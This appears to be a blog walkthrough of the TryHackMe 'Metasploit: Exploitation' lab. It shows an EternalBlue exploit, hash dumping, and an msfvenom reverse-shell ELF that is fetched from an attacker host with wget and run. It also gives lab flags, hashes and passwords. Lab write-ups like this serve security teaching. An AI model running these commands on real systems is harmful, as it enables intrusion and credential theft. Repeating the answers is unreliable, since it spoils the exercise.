Metasploit Module — Exploitation TryHackMe

Here you can find it Module

Metasploit: Exploitation

Task 1:

More specifically, the topics we will cover are:

• How to scan target systems using Metasploit.
• How to use the Metasploit database feature.
• How to use Metasploit to conduct a vulnerability scan.
• How to use Metasploit to exploit vulnerable services on target systems.
• How msfvenom can be used to create payloads and obtain a Meterpreter session on the target system.

Q1: No answer needed

Task 2:

Port Scanning

Metasploit has a number of modules to scan open ports on the target system and network. You can list potential port scanning modules available using the search portscan command.

• CONCURRENCY: Number of targets to be scanned simultaneously.
• PORTS: Port range to be scanned. Please note that 1–1000 here will not be the same as using Nmap with the default configuration. Nmap will scan the 1000 most used ports, while Metasploit will scan port numbers from 1 to 10000.
• RHOSTS: Target or target network to be scanned.
• THREADS: Number of threads that will be used simultaneously. More threads will result in faster scans.

You can directly perform Nmap scans from the msfconsole prompt as shown below faster:

UDP service Identification

The scanner/discovery/udp_sweep module will allow you to quickly identify services running over the UDP (User Datagram Protocol). As you can see below, this module will not conduct an extensive scan of all possible UDP services but does provide a quick way to identify services such as DNS or NetBIOS.

SMB Scans

Metasploit offers several useful auxiliary modules that allow us to scan specific services. Below is an example for the SMB. Especially useful in a corporate network would be smb_enumshares and smb_version but please spend some time to identify scanners that the Metasploit version installed on your system offers.

Q1: 5

Q2: ACME IT SUPPORT

Q3: webfs/1.21

Q4: leo1234

Task 3:

You can now launch msfconsole and check the database status using the db_status command.

The database feature will allow you to create workspaces to isolate different projects. When first launched, you should be in the default workspace. You can list available workspaces using the workspace command.

You can add a workspace using the -a parameter or delete a workspace using the -d parameter, respectively. The screenshot below shows that a new workspace named "tryhackme" was created.

You will also notice that the new database name is printed in red, starting with a * symbol.

You can use the workspace command to navigate between workspaces simply by typing workspace followed by the desired workspace name.

You can use the workspace -h command to list available options for the workspace command.

Different from regular Metasploit usage, once Metasploit is launched with a database, the help command, you will show the Database Backends Commands menu.

If you run a Nmap scan using the db_nmap shown below, all results will be saved to the database.

You can now reach information relevant to hosts and services running on target systems with the hosts and services commands, respectively.

you may want to look to these ports

• HTTP: Could potentially host a web application where you can find vulnerabilities like SQL injection or Remote Code Execution (RCE).
• FTP: Could allow anonymous login and provide access to interesting files.
• SMB: Could be vulnerable to SMB exploits like MS17–010
• SSH: Could have default or easy to guess credentials
• RDP: Could be vulnerable to Bluekeep or allow desktop access if weak credentials were used.

Q1: No answer needed

Task 4:

Metasploit allows you to quickly identify some critical vulnerabilities that could be considered as “low hanging fruit”. The term “low hanging fruit” usually refers to easily identifiable and exploitable vulnerabilities that could potentially allow you to gain a foothold on a system and, in some cases, gain high-level privileges such as root or administrator.

You can use the info command for any module to have a better understanding of its use and purpose.

Q1: Campbell Murray

Task 5:

If we attempt to do a port scanning on the target_Ip we’ll see port 445 is vulnerable to SMB ms017–010 EternalBlue if we using Metasploit Search
we found that exploit “exploit/windows/smb/ms17_010_eternalblue”

now let’s show options

show OPTIONS

we need to set our RHOSTS (Target_IP)

set RHOSTS Target_IP

notice that our payload is meterpreter shell, make sure that your payload set to meterpreter shell

now run the exploit

Meterpreter shell is opened

Get Mohamed Sayed (U S A N)’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Q1: No answer need

Q2:

lets search for the flag

search -f flag.txt

Navigate to this folder using “cd” and read the flag content using “cat”

Answer: THM-5455554845

Q3:

let’s dump the hashes using hashdump

hashdump

as we can see let’s break down the user pirate record

username:RID:LM_hash:NT_hash:::

• RID which is Relative Identifier
• LM_hash is Lan Manager Hash old way to store passwords
• NT_hash which is the NTLM hash equivalent actual Password of the user

Answer: 8ce9a3ebd1647fcc5e04025019f4b875

Task 6:

• Output formats

You can either generate stand-alone payloads (e.g. a Windows executable for Meterpreter) or get a usable raw format (e.g. python). The msfvenom --list formats command can be used to list supported output formats.

• Encoders

Contrary to some beliefs, encoders do not aim to bypass antivirus installed on the target system. As the name suggests, they encode the payload. While it can be effective against some antivirus software, using modern obfuscation techniques or learning methods to inject shellcode is a better solution to the problem.

• Handlers

Similar to exploits using a reverse shell, you will need to be able to accept incoming connections generated by the MSFvenom payload. When using an exploit module, this part is automatically handled by the exploit module, you will remember how the payload options title appeared when setting a reverse shell. The term commonly used to receive a connection from a target is 'catching a shell'. Reverse shells or Meterpreter callbacks generated in your MSFvenom payload can be easily caught using a handler.

MSFvenom will require a payload, the local machine IP address, and the local port to which the payload will connect.

We will use Multi Handler to receive the incoming connection. The module can be used with the use exploit/multi/handler command.

Q1:

just connect to it via ssh or lunch it in the browser using

ssh murphy@Target_IP
#then will ask you for a password
1q2w3e4r

once the shell is opened get to root to make things easier

sudo su

Answer: No need

Q2:

let’s make our payload using msfvenom

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=Machine_IP LPORT=4444 -f elf -o shell.elf

Answer: No need

Q3:

now let’s deliver the payload to the target using python web server

python3 -m http.server 9999

once it lunched let’s download the payload on the Target machine

on Target machine

wget http://Attacker_IP:9999/shell.elf

don’t forget to give the payload execute permissions

chmod +x shell.elf

Q4:

now open Metasploit multi handler to get a shell once the payload is opened and connected

msfconsole
use exploit/multi/handler

make sure to set LHOST, LPORT and Payload as same as the one you’ve delivered

• LHOST is your IP (Attacker_IP)
• LPORT which the multi handler will receive the connection

once you run the multi handler then opened the payload on the target machine

./shell.elf

meterpreter shell is opened

Answer: No need

Q5:

if we try to run hashdump an error shown so to fix this

• background the session ( CTRL + Z )
• use post/linux/gather/hashdump
• set session Session_ID
• run

Answer: $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0

Task 7:

you have learned

• how to use msfvenom and create payloads
• how to deliver the payload to the target using python web server
• how to use multi handler and Metasploit to exploit or scan for vulnerabilities
• Metasploit database feature that allows you to store, organize, and manage all your reconnaissance and exploitation data inside Metasploit instead of losing it when you close Metasploit
• how to dump hashes and use Meterpreter

Answer: No need

You’ll find rest of the module in another walkthrough….

Hope you enjoyed this walkthrough — keep experimenting, stay curious, and make your learning journey with Metasploit an exciting adventure while having fun with cybersecurity! ✅